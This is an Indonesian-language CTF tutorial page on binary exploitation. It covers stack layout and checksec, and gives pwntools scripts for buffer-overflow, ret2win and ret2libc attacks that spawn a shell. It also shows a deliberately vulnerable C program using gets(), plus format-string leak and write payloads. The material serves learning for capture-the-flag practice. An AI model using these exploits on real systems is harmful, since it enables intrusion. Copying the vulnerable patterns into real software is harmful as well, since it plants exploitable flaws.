CTF Learning
Balik

Pwn / Binary Exploitation

Exploit program buat dapetin shell atau flag

Kategori Paling Susah

Pwn butuh waktu paling lama buat dipelajarin. Kalo waktu terbatas, fokus ke Web/Misc dulu. Tapi kalo ada waktu, basic buffer overflow sering keluar di CTF pemula.

Tools Yang Perlu

pwntools (Python)GDB + pwndbg/gefchecksecROPgadgetobjdumpfile / strings

Pahami Dulu: Memory Layout

Mudah

Gimana program nyimpen data di memori

Layout Memory (dari atas ke bawah)text
1┌─────────────────────────┐ Alamat tinggi
2│ Stack │ ← variabel lokal, return address
3│ ↓ │ (tumbuh ke bawah)
4├─────────────────────────┤
5│ ↑ │
6│ Heap │ ← malloc(), dynamic allocation
7│ │ (tumbuh ke atas)
8├─────────────────────────┤
9│ BSS │ ← variabel global uninitialized
10├─────────────────────────┤
11│ Data │ ← variabel global initialized
12├─────────────────────────┤
13│ Text │ ← kode program (instructions)
14└─────────────────────────┘ Alamat rendah
15
16Yang penting:
17- Stack tempat nyimpen variabel lokal
18- Return address juga di stack
19- Kalo bisa overwrite return address = bisa kontrol alur program

Inti Buffer Overflow

Kalo program copy data ke buffer tanpa cek panjangnya, kita bisa nulis melebihi buffer dan overwrite data lain di stack, termasuk return address.

Langkah Pertama: Cek Binary

Mudah

Sebelum exploit, harus tau dulu binary-nya punya proteksi apa

Cek info binarybash
1# File type
2file vuln
3# vuln: ELF 64-bit LSB executable, x86-64...
4
5# Strings di binary
6strings vuln | grep -i flag
7strings vuln | grep -i password
8
9# Cek proteksi
10checksec vuln
11# atau
12checksec --file=vuln
Arti output checksectext
1RELRO: Partial/Full → apakah GOT bisa dioverwrite
2Stack: No canary found → BAGUS, bisa buffer overflow
3NX: NX enabled → stack gak executable (no shellcode)
4PIE: No PIE → BAGUS, alamat tetap (predictable)
5ASLR: (cek sistem) → alamat random tiap run
6
7Kondisi ideal buat pemula:
8- No canary → bisa overflow
9- No PIE → alamat bisa diprediksi
10- NX disabled → bisa jalanin shellcode (jarang)
11
12Biasanya soal CTF pemula: No canary + No PIE

Buffer Overflow Dasar

Mudah

Teknik paling basic tapi paling penting

Contoh code vulnerablec
1#include <stdio.h>
2
3void win() {
4 system("/bin/sh"); // Target kita!
5}
6
7void vuln() {
8 char buffer[64];
9 gets(buffer); // BAHAYA: gak cek panjang input
10}
11
12int main() {
13 vuln();
14 return 0;
15}
Stack waktu vuln() dipanggiltext
1┌────────────────────┐
2│ return address │ ← balik ke main()
3├────────────────────┤
4│ saved RBP │ ← base pointer lama
5├────────────────────┤
6│ │
7│ buffer[64] │ ← input kita masuk sini
8│ │
9└────────────────────┘
10
11Kalo input kita lebih dari 64 bytes:
12- Overflow ke saved RBP
13- Terus overflow ke return address
14- Ganti return address ke win()
Exploit pake pwntoolspython
1from pwn import *
2
3# Jalanin binary
4p = process('./vuln')
5# atau: p = remote('host', port)
6
7# Cari alamat win()
8# Cara 1: objdump
9# objdump -d vuln | grep win
10# Cara 2: pwntools
11elf = ELF('./vuln')
12win_addr = elf.symbols['win']
13print(f"win() ada di: {hex(win_addr)}")
14
15# Bikin payload
16# 64 bytes buffer + 8 bytes RBP + return address
17payload = b'A' * 64 # isi buffer
18payload += b'B' * 8 # overwrite RBP
19payload += p64(win_addr) # overwrite return address
20
21# Kirim
22p.sendline(payload)
23p.interactive() # dapet shell!

Tips Cari Offset

Kadang gak tau persis berapa byte sampe return address. Pake cyclic pattern:

1# Generate pattern
2cyclic(100) # bikin pattern 100 byte
3
4# Di GDB, kalo crash di alamat tertentu:
5# Program received signal SIGSEGV,
6# Segmentation fault at 0x6161616c
7
8# Convert ke offset
9cyclic_find(0x6161616c) # output: 76
10# Berarti offset ke return address = 76 bytes

ret2win

Mudah

Return to win function - yang paling gampang

Kalo ada fungsi yang print flag atau spawn shell, tinggal redirect return address ke situ. Ini yang paling sering keluar di CTF pemula.

Cari fungsi yang menarikbash
1# List semua fungsi yang ada
2objdump -t vuln | grep -E "(win|flag|shell|system)"
3
4# Atau pake nm
5nm vuln | grep -E "(win|flag|shell)"
6
7# Disassemble fungsi tertentu
8objdump -d vuln | grep -A 20 "<win>"
Template exploit ret2winpython
1from pwn import *
2
3# Setup
4binary = './vuln'
5elf = ELF(binary)
6
7# Cari alamat target
8win = elf.symbols['win'] # atau: elf.symbols['get_flag']
9
10# Offset ke return address (harus dicari dulu)
11offset = 72 # contoh
12
13# Payload
14payload = flat(
15 b'A' * offset,
16 win
17)
18
19# Exploit
20p = process(binary)
21p.sendline(payload)
22p.interactive()

ret2libc

Menengah

Kalo NX enabled, panggil fungsi di libc

Kalo stack gak bisa diexecute (NX enabled), kita bisa "pinjam" fungsi dari libc kayak system().

ret2libc sederhana (kalo ASLR off)python
1from pwn import *
2
3# Binary pake libc
4libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
5elf = ELF('./vuln')
6
7# Alamat di libc (kalo ASLR off)
8system_addr = libc.symbols['system']
9binsh_addr = next(libc.search(b'/bin/sh'))
10
11# x64 calling convention: argument di RDI
12# Jadi perlu gadget: pop rdi; ret
13pop_rdi = 0x401234 # cari pake ROPgadget
14
15offset = 72
16
17payload = flat(
18 b'A' * offset,
19 pop_rdi,
20 binsh_addr,
21 system_addr
22)
23
24p = process('./vuln')
25p.sendline(payload)
26p.interactive()
Cari ROP gadgetsbash
1# Install
2pip install ROPgadget
3
4# Cari gadget di binary
5ROPgadget --binary vuln | grep "pop rdi"
6ROPgadget --binary vuln | grep "ret"
7
8# Cari di libc
9ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi"

Format String Bug

Menengah

Vulnerability lain yang sering muncul

Code vulnerablec
1// Salah:
2printf(user_input); // BAHAYA!
3
4// Bener:
5printf("%s", user_input); // Aman
Exploit format stringtext
1# Leak data dari stack
2AAAA.%x.%x.%x.%x.%x.%x
3# Output: AAAA.f7ff...41414141...
4# 41414141 = "AAAA" di stack
5
6# Leak langsung posisi tertentu
7%6$x # Leak posisi ke-6
8%1$p # Leak pointer posisi 1
9
10# Read dari alamat tertentu
11# Taruh alamat di awal, terus %s
12[alamat]%[offset]$s
13
14# Write ke alamat (advanced)
15%n # nulis jumlah char yang udah diprint
Leak dengan pwntoolspython
1from pwn import *
2
3p = process('./vuln')
4
5# Leak stack
6p.sendline(b'%p.%p.%p.%p.%p.%p.%p.%p')
7leak = p.recvline()
8print(leak)
9
10# Biasanya ada:
11# - Alamat libc (bisa bypass ASLR)
12# - Canary (kalo ada)
13# - Return address